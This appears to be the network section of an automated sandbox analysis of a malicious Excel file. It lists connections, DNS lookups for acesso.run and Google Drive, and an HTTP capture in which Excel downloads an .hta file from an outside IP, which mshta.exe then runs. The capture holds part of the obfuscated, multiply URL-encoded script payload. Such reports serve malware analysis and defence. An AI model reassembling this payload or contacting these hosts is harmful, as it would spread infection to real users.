Oct 30, 2024 07:54:56.578600883 CET	49237	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:56.720280886 CET	49238	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:56.725841999 CET	80	49238	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:56.725904942 CET	49238	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:56.728204966 CET	49238	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:56.733963013 CET	80	49238	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:56.734016895 CET	49238	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:56.739464998 CET	80	49238	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:57.691412926 CET	80	49238	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:57.691637039 CET	49238	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:57.697326899 CET	80	49238	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:57.697438955 CET	49238	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:57.826730967 CET	49239	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:58.042160034 CET	80	49239	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:58.042265892 CET	49239	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:58.043977976 CET	49239	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:58.050558090 CET	80	49239	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:58.050612926 CET	49239	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:58.057409048 CET	80	49239	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:59.011697054 CET	80	49239	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:59.011833906 CET	49239	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:59.017604113 CET	80	49239	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:59.017678976 CET	49239	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:59.148947001 CET	49240	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:59.154488087 CET	80	49240	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:59.154597998 CET	49240	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:59.156202078 CET	49240	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:59.161686897 CET	80	49240	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:59.161756039 CET	49240	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:59.167213917 CET	80	49240	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:00.108786106 CET	80	49240	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:00.108961105 CET	49240	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:00.114566088 CET	80	49240	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:00.114741087 CET	49240	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:00.243602037 CET	49241	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:00.376377106 CET	80	49241	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:00.376446962 CET	49241	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:00.382278919 CET	49241	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:00.387568951 CET	80	49241	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:00.387615919 CET	49241	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:00.393007040 CET	80	49241	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:01.334424973 CET	80	49241	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:01.334747076 CET	49241	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:01.340389967 CET	80	49241	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:01.340572119 CET	49241	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:01.470201969 CET	49242	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:01.476183891 CET	80	49242	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:01.476290941 CET	49242	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:01.478048086 CET	49242	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:01.484288931 CET	80	49242	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:01.484369040 CET	49242	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:01.489784956 CET	80	49242	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:02.464839935 CET	80	49242	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:02.464960098 CET	49242	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:02.470655918 CET	80	49242	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:02.470771074 CET	49242	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:02.592770100 CET	49243	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:02.598150969 CET	80	49243	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:02.598234892 CET	49243	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:02.599909067 CET	49243	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:02.605175972 CET	80	49243	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:02.605268002 CET	49243	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:02.610650063 CET	80	49243	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:03.569258928 CET	80	49243	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:03.569426060 CET	49243	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:03.575275898 CET	80	49243	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:03.575346947 CET	49243	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:03.708065033 CET	49244	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:03.713764906 CET	80	49244	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:03.713855028 CET	49244	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:03.715441942 CET	49244	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:03.720799923 CET	80	49244	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:03.720869064 CET	49244	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:03.727991104 CET	80	49244	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:04.849865913 CET	80	49244	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:04.850061893 CET	49244	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:04.856205940 CET	80	49244	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:04.856292009 CET	49244	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:04.990906954 CET	49245	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:04.996228933 CET	80	49245	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:04.996328115 CET	49245	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:04.998735905 CET	49245	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:05.005803108 CET	80	49245	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:05.005929947 CET	49245	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:05.011234045 CET	80	49245	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:05.939831018 CET	80	49245	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:05.940069914 CET	49245	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:05.946228027 CET	80	49245	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:05.946352959 CET	49245	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:06.077572107 CET	49246	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:06.083081007 CET	80	49246	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:06.083214045 CET	49246	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:06.084923983 CET	49246	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:06.090411901 CET	80	49246	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:06.090491056 CET	49246	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:06.095875025 CET	80	49246	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:07.713009119 CET	80	49246	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:07.713094950 CET	80	49246	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:07.713114023 CET	49246	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:07.713151932 CET	49246	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:07.713171959 CET	80	49246	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:07.713218927 CET	49246	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:07.713469982 CET	80	49246	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:07.713515997 CET	49246	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:07.723768950 CET	80	49246	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:07.884519100 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:07.890039921 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:07.890110016 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:07.892426014 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:07.898557901 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:07.898648977 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:07.904409885 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:09.810971022 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:09.811243057 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:09.811347961 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:09.811417103 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:09.811445951 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:09.811506033 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:09.812221050 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:09.812294960 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:09.813194990 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:09.813263893 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:10.094353914 CET	49248	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:10.114327908 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:10.722760916 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:10.850310087 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:10.850461960 CET	49247	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:10.855026007 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:10.859441042 CET	80	49248	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:10.859452009 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:10.859509945 CET	49248	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:10.861097097 CET	80	49247	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:10.861928940 CET	49248	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:10.868221998 CET	80	49248	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:10.868307114 CET	49248	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:10.873594999 CET	80	49248	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:12.419298887 CET	80	49248	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:12.419421911 CET	49248	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:12.419470072 CET	80	49248	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:12.419477940 CET	80	49248	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:12.419517994 CET	49248	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:12.419568062 CET	80	49248	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:12.419617891 CET	49248	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:12.425260067 CET	80	49248	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:12.546464920 CET	49249	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:12.558984995 CET	80	49249	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:12.559204102 CET	49249	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:12.560868979 CET	49249	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:12.566957951 CET	80	49249	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:12.567039013 CET	49249	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:12.573072910 CET	80	49249	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:13.535507917 CET	80	49249	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:13.535614967 CET	49249	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:13.542407036 CET	80	49249	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:13.542468071 CET	49249	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:13.690459013 CET	49250	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:13.695915937 CET	80	49250	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:13.695988894 CET	49250	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:13.697582006 CET	49250	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:13.702939034 CET	80	49250	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:13.703022957 CET	49250	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:55:13.708445072 CET	80	49250	94.156.177.220	192.168.2.22
Oct 30, 2024 07:55:14.659591913 CET	80	49250	94.156.177.220	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 07:52:53.836549044 CET	54562	53	192.168.2.22	8.8.8.8
Oct 30, 2024 07:52:54.005259037 CET	53	54562	8.8.8.8	192.168.2.22
Oct 30, 2024 07:52:56.175292969 CET	52917	53	192.168.2.22	8.8.8.8
Oct 30, 2024 07:52:56.185714960 CET	53	52917	8.8.8.8	192.168.2.22
Oct 30, 2024 07:53:15.842809916 CET	62751	53	192.168.2.22	8.8.8.8
Oct 30, 2024 07:53:15.854195118 CET	53	62751	8.8.8.8	192.168.2.22
Oct 30, 2024 07:53:15.856740952 CET	62751	53	192.168.2.22	8.8.8.8
Oct 30, 2024 07:53:15.864072084 CET	53	62751	8.8.8.8	192.168.2.22
Oct 30, 2024 07:53:16.140027046 CET	57893	53	192.168.2.22	8.8.8.8
Oct 30, 2024 07:53:16.149979115 CET	53	57893	8.8.8.8	192.168.2.22
Oct 30, 2024 07:53:19.515620947 CET	54821	53	192.168.2.22	8.8.8.8
Oct 30, 2024 07:53:19.525904894 CET	53	54821	8.8.8.8	192.168.2.22
Oct 30, 2024 07:53:34.432324886 CET	54719	53	192.168.2.22	8.8.8.8
Oct 30, 2024 07:53:34.440671921 CET	53	54719	8.8.8.8	192.168.2.22
Oct 30, 2024 07:53:35.966073036 CET	49881	53	192.168.2.22	8.8.8.8
Oct 30, 2024 07:53:35.974071980 CET	53	49881	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 07:52:53.836549044 CET	192.168.2.22	8.8.8.8	0xdba3	Standard query (0)	acesso.run	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:52:56.175292969 CET	192.168.2.22	8.8.8.8	0x96b1	Standard query (0)	acesso.run	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:15.842809916 CET	192.168.2.22	8.8.8.8	0xbbae	Standard query (0)	acesso.run	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:15.856740952 CET	192.168.2.22	8.8.8.8	0xbbae	Standard query (0)	acesso.run	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:16.140027046 CET	192.168.2.22	8.8.8.8	0x14ee	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:19.515620947 CET	192.168.2.22	8.8.8.8	0x576a	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:34.432324886 CET	192.168.2.22	8.8.8.8	0xb646	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:35.966073036 CET	192.168.2.22	8.8.8.8	0xd0f	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 07:52:54.005259037 CET	8.8.8.8	192.168.2.22	0xdba3	No error (0)	acesso.run	104.21.74.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:52:54.005259037 CET	8.8.8.8	192.168.2.22	0xdba3	No error (0)	acesso.run	172.67.162.95	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:52:56.185714960 CET	8.8.8.8	192.168.2.22	0x96b1	No error (0)	acesso.run	104.21.74.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:52:56.185714960 CET	8.8.8.8	192.168.2.22	0x96b1	No error (0)	acesso.run	172.67.162.95	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:15.854195118 CET	8.8.8.8	192.168.2.22	0xbbae	No error (0)	acesso.run	172.67.162.95	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:15.854195118 CET	8.8.8.8	192.168.2.22	0xbbae	No error (0)	acesso.run	104.21.74.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:15.864072084 CET	8.8.8.8	192.168.2.22	0xbbae	No error (0)	acesso.run	104.21.74.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:15.864072084 CET	8.8.8.8	192.168.2.22	0xbbae	No error (0)	acesso.run	172.67.162.95	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:16.149979115 CET	8.8.8.8	192.168.2.22	0x14ee	No error (0)	drive.google.com	142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:19.525904894 CET	8.8.8.8	192.168.2.22	0x576a	No error (0)	drive.usercontent.google.com	142.250.185.97	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:34.440671921 CET	8.8.8.8	192.168.2.22	0xb646	No error (0)	drive.google.com	142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 07:53:35.974071980 CET	8.8.8.8	192.168.2.22	0xd0f	No error (0)	drive.usercontent.google.com	142.250.185.97	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

acesso.run

drive.google.com

drive.usercontent.google.com

198.46.178.151

94.156.177.220

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	198.46.178.151	80	3456	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:52:55.088424921 CET	352	OUT	GET /65/hb/creatednewthingsforme.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 198.46.178.151 Connection: Keep-Alive
Oct 30, 2024 07:52:55.756822109 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:52:55 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 30 Oct 2024 04:41:49 GMT ETag: "2a42f-625aa51e80fe9" Accept-Ranges: bytes Content-Length: 173103 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 4a 61 76 61 53 63 72 69 70 74 3e 6d 3d 27 25 33 43 73 63 72 69 70 74 25 33 45 25 30 41 25 33 43 25 32 31 2d 2d 25 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 38 75 6e 65 73 63 61 70 65 25 32 38 25 32 32 25 32 35 33 43 73 63 72 69 70 74 25 32 35 32 30 6c 61 6e 67 75 61 67 65 25 32 35 33 44 4a 61 76 61 53 63 72 69 70 74 25 32 35 33 45 6d 25 32 35 33 44 25 32 35 32 37 25 32 35 32 35 33 43 73 63 72 69 70 74 25 32 35 32 35 33 45 25 32 35 32 35 30 41 25 32 35 32 35 33 43 25 32 35 32 35 32 31 2d 2d 25 32 35 32 35 30 41 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 25 32 35 32 35 32 38 75 6e 65 73 63 61 70 65 25 32 35 32 35 32 38 25 32 35 32 35 32 32 25 32 35 32 35 32 35 33 43 25 32 35 32 35 32 35 32 31 44 4f 43 54 59 50 45 25 32 35 32 35 32 35 32 30 68 74 6d 6c 25 32 35 32 35 32 35 33 45 25 32 35 32 35 32 35 30 41 25 32 35 32 35 32 35 33 43 6d 65 74 61 25 32 35 32 35 32 35 32 30 68 74 74 70 2d 65 71 75 69 76 25 32 35 32 35 32 35 33 44 25 32 35 32 35 [TRUNCATED] Data Ascii: <script language=JavaScript>m='%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%253Cscript%2520language%253DJavaScript%253Em%253D%2527%25253Cscript%25253E%25250A%25253C%252521--%25250Adocument.write%252528unescape%252528%252522%2525253C%25252521DOCTYPE%25252520html%2525253E%2525250A%2525253Cmeta%25252520http-equiv%2525253D%25252522X-UA-Compatible%25252522%25252520content%2525253D%25252522IE%2525253DEmulateIE8%25252522%25252520%2525253E%2525250A%2525253Chtml%2525253E%2525250A%2525253Cbody%2525253E%2525250A%2525253CSCRipt%25252520tyPE%2525253D%25252522tEXT/vBsCrIpT%25252522%2525253E%2525250AdIm%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%2
Oct 30, 2024 07:52:55.756839037 CET	224	IN	Data Raw: 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 Data Ascii: 5252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%
Oct 30, 2024 07:52:55.756863117 CET	1236	IN	Data Raw: 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 Data Ascii: 25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%
Oct 30, 2024 07:52:55.756875038 CET	1236	IN	Data Raw: 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 Data Ascii: 52520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%252
Oct 30, 2024 07:52:55.756886005 CET	1236	IN	Data Raw: 76 78 64 78 6a 65 73 63 65 75 61 61 65 73 72 63 63 6f 69 72 62 79 77 69 68 75 79 70 6a 68 6e 74 6b 77 7a 62 73 6b 66 64 70 75 63 6d 6d 71 6a 6f 64 6b 66 74 69 6e 77 79 72 62 75 79 72 69 6d 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 Data Ascii: vxdxjesceuaaesrccoirbywihuypjhntkwzbskfdpucmmqjodkftinwyrbuyrim%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520
Oct 30, 2024 07:52:55.756906033 CET	636	IN	Data Raw: 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 Data Ascii: 252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25
Oct 30, 2024 07:52:55.756917000 CET	1236	IN	Data Raw: 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 Data Ascii: %25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520
Oct 30, 2024 07:52:55.756927013 CET	1236	IN	Data Raw: 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 Data Ascii: 252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25
Oct 30, 2024 07:52:55.756943941 CET	1236	IN	Data Raw: 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 Data Ascii: 520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252
Oct 30, 2024 07:52:55.756957054 CET	636	IN	Data Raw: 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 Data Ascii: %25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520fnzdbkkdopwtdaqpdmzqdmggexnvlgikftpozcctsgtqsmowitmafgvurdtjewwiohmkvfsusmbokvdif
Oct 30, 2024 07:52:55.762523890 CET	1236	IN	Data Raw: 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 Data Ascii: 0%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%2525252

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	198.46.178.151	80	3748	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
